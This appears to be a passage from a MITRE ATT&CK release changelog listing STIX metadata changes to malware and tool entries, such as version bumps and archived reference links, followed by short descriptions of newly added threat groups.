[S0262] QuasarRAT
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-08-02 15:36:30.238000+00:00 | 2024-05-07 19:10:03.843000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 2.0 | 2.1 |
[S0364] RawDisk
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-07-28 18:55:35.991000+00:00 | 2024-08-14 15:22:38.134000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
[S0125] Remsec
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 00:16:18.864000+00:00 | 2024-08-05 18:23:59.724000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
[S0692] SILENTTRINITY
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-14 19:27:39.308000+00:00 | 2024-09-23 14:18:53.140000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_contributors[0] | Daniel Acevedo, @darmad0, ARMADO | Daniel Acevedo, Blackbot |
[S0645] Wevtutil
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-13 17:45:16.377000+00:00 | 2024-09-25 20:32:25.006000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
[S0095] ftp
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-07 22:20:18.809000+00:00 | 2024-08-14 15:21:48.196000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 2.0 | 2.1 |
[S0032] gh0st RAT
Current version: 3.3
Version changed from: 3.2 → 3.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-06 19:00:45.557000+00:00 | 2024-05-07 19:07:45.403000+00:00 |
| x_mitre_version | 3.2 | 3.3 |
Patches
[S0677] AADInternals
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-15 00:59:18.335000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_platforms[2] | Office 365 | Identity Provider |
| x_mitre_platforms[1] | Azure AD | Office Suite |
[S0373] Astaroth
Current version: 2.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 02:58:17.763000+00:00 | 2024-09-25 15:03:49.408000+00:00 |
| external_references[2]['description'] | Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019. | Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024. |
| external_references[2]['url'] | https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/ | https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/ |
[S0069] BLACKCOFFEE
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 14:58:42.298000+00:00 | 2024-09-04 17:04:35.670000+00:00 |
| external_references[2]['url'] | https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf | https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0144] ChChes
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-23 15:14:18.599000+00:00 | 2024-09-12 19:32:28.615000+00:00 |
| external_references[4]['description'] | Carr, N.. (2017, April 6). Retrieved June 29, 2017. | Carr, N.. (2017, April 6). Retrieved September 12, 2024. |
| external_references[4]['url'] | https://twitter.com/ItsReallyNick/status/850105140589633536 | https://x.com/ItsReallyNick/status/850105140589633536 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[S1023] CreepyDrive
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-08-10 13:07:11.790000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
[S0255] DDKONG
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | | ['DDKONG'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2024-09-04 21:38:11.979000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'DDKONG', 'description': '(Citation: Rancor Unit42 June 2018)'} | |
[S1111] DarkGate
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-01 21:19:06.580000+00:00 | 2024-09-29 10:22:45.776000+00:00 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Phyo Paing Htun (ChiLai) |
[S0673] DarkWatchman
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 02:40:18.361000+00:00 | 2024-08-26 16:28:39.922000+00:00 |
| external_references[1]['url'] | https://www.prevailion.com/darkwatchman-new-fileless-techniques/ | https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/ |
[S0182] FinFisher
Current version: 1.4
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-02 15:47:13.329000+00:00 | 2024-09-12 17:23:46.687000+00:00 |
| external_references[3]['description'] | FinFisher. (n.d.). Retrieved December 20, 2017. | FinFisher. (n.d.). Retrieved September 12, 2024. |
| external_references[3]['url'] | http://www.finfisher.com/FinFisher/index.html | https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0696] Flagpro
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-01 14:41:47.579000+00:00 | 2024-09-04 21:39:21.144000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'Flagpro ', 'description': '(Citation: NTT Security Flagpro new December 2021)'} | |
[S0632] GrimAgent
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-07-29 19:44:21.016000+00:00 | 2024-09-19 14:32:39.426000+00:00 |
| external_references[1]['description'] | Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021. | Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024. |
| external_references[1]['url'] | https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer | https://www.group-ib.com/blog/grimagent/ |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0214] HAPPYWORK
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | | ['HAPPYWORK'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2024-09-04 20:44:43.949000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'HAPPYWORK', 'description': '(Citation: FireEye APT37 Feb 2018)'} | |
[S0163] Janicab
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-19 18:00:00.645000+00:00 | 2024-09-12 19:07:36.511000+00:00 |
| external_references[1]['url'] | http://www.thesafemac.com/new-signed-malware-called-janicab/ | https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/ |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0250] Koadic
Current version: 2.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-06 19:32:33.511000+00:00 | 2024-09-27 18:36:30.831000+00:00 |
| external_references[4]['description'] | Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018. | Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024. |
| external_references[4]['url'] | https://github.com/zerosum0x0/koadic | https://github.com/offsecginger/koadic |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0413] MailSniper
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 17:01:41.302000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Azure AD | |
[S0339] Micropsia
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 00:43:46.245000+00:00 | 2024-10-04 11:08:25.923000+00:00 |
| external_references[3]['url'] | https://blog.radware.com/security/2018/07/micropsia-malware/ | https://www.radware.com/blog/security/2018/07/micropsia-malware/ |
[S0002] Mimikatz
Current version: 1.9
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-09 21:31:30.227000+00:00 | 2024-09-25 20:34:58.387000+00:00 |
[S0133] Miner-C
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | | ['Miner-C'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2024-09-12 15:19:00.433000+00:00 |
| external_references[1]['description'] | Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016. | Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved September 12, 2024. |
| external_references[1]['url'] | http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml | https://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0336] NanoCore
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 17:10:28.673000+00:00 | 2024-09-25 15:05:04.341000+00:00 |
| external_references[3]['description'] | Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018. | Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved September 25, 2024. |
| external_references[3]['url'] | https://cofense.com/nanocore-rat-resurfaced-sewers/ | https://web.archive.org/web/20240522112705/https://cofense.com/blog/nanocore-rat-resurfaced-sewers/ |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0012] PoisonIvy
Current version: 2.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-14 19:16:01.583000+00:00 | 2024-09-19 14:30:03.923000+00:00 |
| external_references[5]['description'] | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024. |
| external_references[5]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf | https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf |
[S0684] ROADTools
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
| x_mitre_platforms | | ['Identity Provider'] |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-01 13:27:48.378000+00:00 | 2024-09-16 17:02:37.377000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0153] RedLeaves
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 00:17:52.256000+00:00 | 2024-09-12 19:32:28.614000+00:00 |
| external_references[3]['description'] | Carr, N.. (2017, April 6). Retrieved June 29, 2017. | Carr, N.. (2017, April 6). Retrieved September 12, 2024. |
| external_references[3]['url'] | https://twitter.com/ItsReallyNick/status/850105140589633536 | https://x.com/ItsReallyNick/status/850105140589633536 |
[S0358] Ruler
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-22 21:31:54.771000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_platforms[1] | Office 365 | Office Suite |
[S0217] SHUTTERSPEED
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | | ['SHUTTERSPEED'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2024-09-04 21:36:27.669000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'SHUTTERSPEED', 'description': '(Citation: FireEye APT37 Feb 2018)'} | |
[S0533] SLOTHFULMEDIA
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-13 20:44:14.476000+00:00 | 2024-09-12 19:39:44.514000+00:00 |
| external_references[4]['description'] | Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved November 16, 2020. | Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved September 12, 2024. |
| external_references[4]['url'] | https://twitter.com/craiu/status/1311920398259367942 | https://x.com/craiu/status/1311920398259367942 |
| external_references[7]['description'] | ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved November 17, 2020. | ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved September 12, 2024. |
| external_references[7]['url'] | https://twitter.com/ESETresearch/status/1311762215490461696 | https://x.com/ESETresearch/status/1311762215490461696 |
| external_references[5]['description'] | USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved November 16, 2020. | USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved September 12, 2024. |
| external_references[5]['url'] | https://twitter.com/CNMF_CyberAlert/status/1311743710997159953 | https://x.com/CNMF_CyberAlert/status/1311743710997159953 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0386] Ursnif
Current version: 1.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-10 22:18:21.527000+00:00 | 2024-09-12 19:50:37.023000+00:00 |
| external_references[6]['description'] | NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019. | NJCCIC. (2016, September 27). Ursnif. Retrieved September 12, 2024. |
| external_references[6]['url'] | https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif | https://www.cyber.nj.gov/threat-landscape/malware/trojans/ursnif |
[S0219] WINERACK
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | | ['WINERACK'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2024-09-04 21:37:24.766000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'WINERACK', 'description': '(Citation: FireEye APT37 Feb 2018)'} | |
[S0005] Windows Credential Editor
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 18:28:34.296000+00:00 | 2024-09-12 15:17:22.004000+00:00 |
| external_references[1]['description'] | Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved December 17, 2015. | Amplia Security. (n.d.). Windows Credentials Editor (WCE) F.A.Q.. Retrieved September 12, 2024. |
| external_references[1]['url'] | http://www.ampliasecurity.com/research/wcefaq.html | https://web.archive.org/web/20240904163410/https://www.ampliasecurity.com/research/wcefaq.html |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0191] Winexe
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | | ['Winexe'] |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2024-09-04 21:09:10.255000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'Winexe', 'description': '(Citation: Winexe Github Sept 2013) (Citation: Überwachung APT28 Forfiles June 2015)'} | |
mobile-attack
Patches
[S0422] Anubis
Current version: 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-09-20 13:50:01.923000+00:00 | 2024-09-25 15:03:05.100000+00:00 |
| external_references[1]['description'] | M. Feller. (2020, February 5). Infostealer, Keylogger, and Ransomware in One: Anubis Targets More than 250 Android Applications. Retrieved April 8, 2020. | M. Feller. (2020, February 5). Infostealer, Keylogger, and Ransomware in One: Anubis Targets More than 250 Android Applications. Retrieved September 25, 2024. |
| external_references[1]['url'] | https://cofense.com/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/ | https://web.archive.org/web/20231222134431/https://cofense.com/blog/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/ |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[S0522] Exobot
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-12-07 14:28:31.876000+00:00 | 2024-10-01 15:53:53.833000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'Proofpoint-Marcher', 'description': 'Proofpoint. (2017, November 3). Credential phishing and an Android banking Trojan combine in Austrian mobile attacks. Retrieved July 6, 2018.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks'} | |
| x_mitre_aliases | Marcher | |
[S0182] FinFisher
Current version: 1.4
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-02 15:47:13.329000+00:00 | 2024-09-12 17:23:46.687000+00:00 |
| external_references[3]['description'] | FinFisher. (n.d.). Retrieved December 20, 2017. | FinFisher. (n.d.). Retrieved September 12, 2024. |
| external_references[3]['url'] | http://www.finfisher.com/FinFisher/index.html | https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
Deprecations
[S0317] Marcher
Current version: 1.0
Description: [Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_aliases | | ['Marcher'] |
| x_mitre_deprecated | | True |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-24 15:09:07.609000+00:00 | 2024-09-30 18:57:47.266000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
ics-attack
New Software
[S1157] Fuxnet
Current version: 1.0
Description: [Fuxnet](https://attack.mitre.org/software/S1157) is malware designed to impact the industrial network infrastructure managing control system sensors for utility operations in Moscow. [Fuxnet](https://attack.mitre.org/software/S1157) is linked to an entity referred to as the Blackjack hacking group, which is assessed to be linked to Ukrainian intelligence services.(Citation: Claroty Fuxnet 2024)
Major Version Changes
[S1010] VPNFilter
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | [VPNFilter](https://attack.mitre.org/software/S1010) is a mu | t | [VPNFilter](https://attack.mitre.org/software/S1010) is a mu |
| lti-stage, modular platform with versatile capabilities to s | | lti-stage, modular platform with versatile capabilities to s |
| upport both intelligence-collection and destructive cyber at | | upport both intelligence-collection and destructive cyber at |
| tack operations. [VPNFilter](https://attack.mitre.org/softwa | | tack operations. [VPNFilter](https://attack.mitre.org/softwa |
| re/S1010) modules such as its packet sniffer ('ps') can coll | | re/S1010) modules such as its packet sniffer ('ps') can coll |
| ect traffic that passes through an infected device, allowing | | ect traffic that passes through an infected device, allowing |
| the theft of website credentials and monitoring of Modbus S | | the theft of website credentials and monitoring of Modbus S |
| CADA protocols. (Citation: William Largent June 2018) (Citat | | CADA protocols. (Citation: William Largent June 2018) (Citat |
| ion: Carl Hurd March 2019) | | ion: Carl Hurd March 2019) [VPNFilter](https://attack.mitre. |
| | | org/software/S1010) was assessed to be replaced by [Sandworm |
| | | Team](https://attack.mitre.org/groups/G0034) with [Cyclops |
| | | Blink](https://attack.mitre.org/software/S0687) starting in |
| | | 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 20 |
| | | 22) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | ['Network', 'Linux'] |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-07 18:57:15.800000+00:00 | 2024-08-15 22:01:22.169000+00:00 |
| description | [VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) | [VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.org/software/S1010) was assessed to be replaced by [Sandworm Team](https://attack.mitre.org/groups/G0034) with [Cyclops Blink](https://attack.mitre.org/software/S0687) starting in 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 2022) |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'NCSC CISA Cyclops Blink Advisory February 2022', 'description': 'NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.', 'url': 'https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter'} |
| x_mitre_domains | | enterprise-attack |
Groups
enterprise-attack
New Groups
[G1030] Agrius
Current version: 1.0
Description: [Agrius](https://attack.mitre.org/groups/G1030) is an Iranian threat actor active since 2020 notable for a series of ransomware and wiper operations in the Middle East, with an emphasis on Israeli targets.(Citation: SentinelOne Agrius 2021)(Citation: CheckPoint Agrius 2023) Public reporting has linked [Agrius](https://attack.mitre.org/groups/G1030) to Iran's Ministry of Intelligence and Security (MOIS).(Citation: Microsoft Iran Cyber 2023)
[G1034] Daggerfly
Current version: 1.0
Description: [Daggerfly](https://attack.mitre.org/groups/G1034) is a People's Republic of China-linked APT entity active since at least 2012. [Daggerfly](https://attack.mitre.org/groups/G1034) has targeted individuals, government and NGO entities, and telecommunication companies in Asia and Africa. [Daggerfly](https://attack.mitre.org/groups/G1034) is associated with exclusive use of [MgBot](https://attack.mitre.org/software/S1146) malware and is noted for several potential supply chain infection campaigns.(Citation: Symantec Daggerfly 2023)(Citation: ESET EvasivePanda 2023)(Citation: Symantec Daggerfly 2024)(Citation: ESET EvasivePanda 2024)
[G1032] INC Ransom
Current version: 1.0
Description: [INC Ransom](https://attack.mitre.org/groups/G1032) is a ransomware and data extortion threat group associated with the deployment of [INC Ransomware](https://attack.mitre.org/software/S1139) that has been active since at least July 2023. [INC Ransom](https://attack.mitre.org/groups/G1032) has targeted organizations worldwide most commonly in the industrial, healthcare, and education sectors in the US and Europe.(Citation: Bleeping Computer INC Ransomware March 2024)(Citation: Cybereason INC Ransomware November 2023)(Citation: Secureworks GOLD IONIC April 2024)(Citation: SentinelOne INC Ransomware)
[G1036] Moonstone Sleet
Current version: 1.0
Description: [Moonstone Sleet](https://attack.mitre.org/groups/G1036) is a North Korean-linked threat actor executing both financially motivated attacks and espionage operations. The group previously overlapped significantly with another North Korean-linked entity, [Lazarus Group](https://attack.mitre.org/groups/G0032), but has differentiated its tradecraft since 2023. [Moonstone Sleet](https://attack.mitre.org/groups/G1036) is notable for creating fake companies and personas to interact with victim entities, as well as developing unique malware such as a variant delivered via a fully functioning game.(Citation: Microsoft Moonstone Sleet 2024)
[G1040] Play
Current version: 1.0
Description: [Play](https://attack.mitre.org/groups/G1040) is a ransomware group that has been active since at least 2022 deploying [Playcrypt](https://attack.mitre.org/software/S1162) ransomware against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Play](https://attack.mitre.org/groups/G1040) actors employ a double-extortion model, encrypting systems after exfiltrating data, and are presumed by security researchers to operate as a closed group.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)
[G1039] RedCurl
Current version: 1.0
Description: [RedCurl](https://attack.mitre.org/groups/G1039) is a threat actor active since 2018 notable for corporate espionage targeting a variety of locations, including Ukraine, Canada and the United Kingdom, and a variety of industries, including but not limited to travel agencies, insurance companies, and banks.(Citation: group-ib_redcurl1) [RedCurl](https://attack.mitre.org/groups/G1039) is allegedly a Russian-speaking threat actor.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2) The group’s operations typically start with spearphishing emails to gain initial access, then the group executes discovery and collection commands and scripts to find corporate data. The group concludes operations by exfiltrating files to the C2 servers.
[G1031] Saint Bear
Current version: 1.0
Description: [Saint Bear](https://attack.mitre.org/groups/G1031) is a Russian-nexus threat actor active since early 2021, primarily targeting entities in Ukraine and Georgia. The group is notable for a specific remote access tool, [Saint Bot](https://attack.mitre.org/software/S1018), and information stealer, [OutSteel](https://attack.mitre.org/software/S1017) in campaigns. [Saint Bear](https://attack.mitre.org/groups/G1031) typically relies on phishing or web staging of malicious documents and related file types for initial access, spoofing government or related entities.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )(Citation: Cadet Blizzard emerges as novel threat actor) [Saint Bear](https://attack.mitre.org/groups/G1031) has previously been confused with [Ember Bear](https://attack.mitre.org/groups/G1003) operations, but analysis of behaviors, tools, and targeting indicates these are distinct clusters.
[G1033] Star Blizzard
Current version: 1.0
Description: [Star Blizzard](https://attack.mitre.org/groups/G1033) is a cyber espionage and influence group originating in Russia that has been active since at least 2019. [Star Blizzard](https://attack.mitre.org/groups/G1033) campaigns align closely with Russian state interests and have included persistent phishing and credential theft against academic, defense, government, NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)
[G1037] TA577
Current version: 1.0
Description: [TA577](https://attack.mitre.org/groups/G1037) is an initial access broker (IAB) that has distributed [QakBot](https://attack.mitre.org/software/S0650) and [Pikabot](https://attack.mitre.org/software/S1145), and was among the first observed groups distributing [Latrodectus](https://attack.mitre.org/software/S1160) in 2023.(Citation: Latrodectus APR 2024)
[G1038] TA578
Current version: 1.0
Description: [TA578](https://attack.mitre.org/groups/G1038) is a threat actor that has used contact forms and email to initiate communications with victims and to distribute malware including [Latrodectus](https://attack.mitre.org/software/S1160), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: Latrodectus APR 2024)(Citation: Bitsight Latrodectus June 2024)
[G1035] Winter Vivern
Current version: 1.0
